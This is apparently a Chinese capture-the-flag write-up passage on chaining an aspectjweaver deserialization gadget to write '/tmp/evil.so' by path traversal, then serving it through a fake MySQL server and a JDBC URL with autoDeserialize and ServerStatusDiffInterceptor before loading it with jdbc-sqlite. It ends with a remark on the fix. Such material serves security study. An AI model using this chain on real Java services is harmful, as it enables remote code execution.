参考z3r4y师傅的解题思路,感觉这种方法也是很有参考价值的
回顾
重新看pom.xml
可以得到
它是有aj依赖的,所以我们也可以换一种思路,利用aspectjweaver
进行文件写入,这里怎么触发aspectjweaver
呢?
还记得aspectjweaver
怎么触发的吗?是通过put
方法内的writeToPath
触发的
userbean这里又刚好是一个put方法
所以可以在userbean处反序列化,这样做很明显符合我们aspectjweaver
的触发思路:
AspectJweaver
方法是和cc6那样利用差不多的,这里直接合并一下:
1 | String filepath = "/../../../../../../../../tmp/evil.so"; |
JDBC
接下来就是jdbc传统流程:起fake_mysql_server先将payload传过去,再打jdbcmysql 8.x的payload:
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
这样打过去生成的so名字是可控的,最后再来一步jdbc-sqlite
的打法即可
修复
综上,两种方法都还是要jdbc-sqlite
的打法的,所以我先前的修复方式是一样能防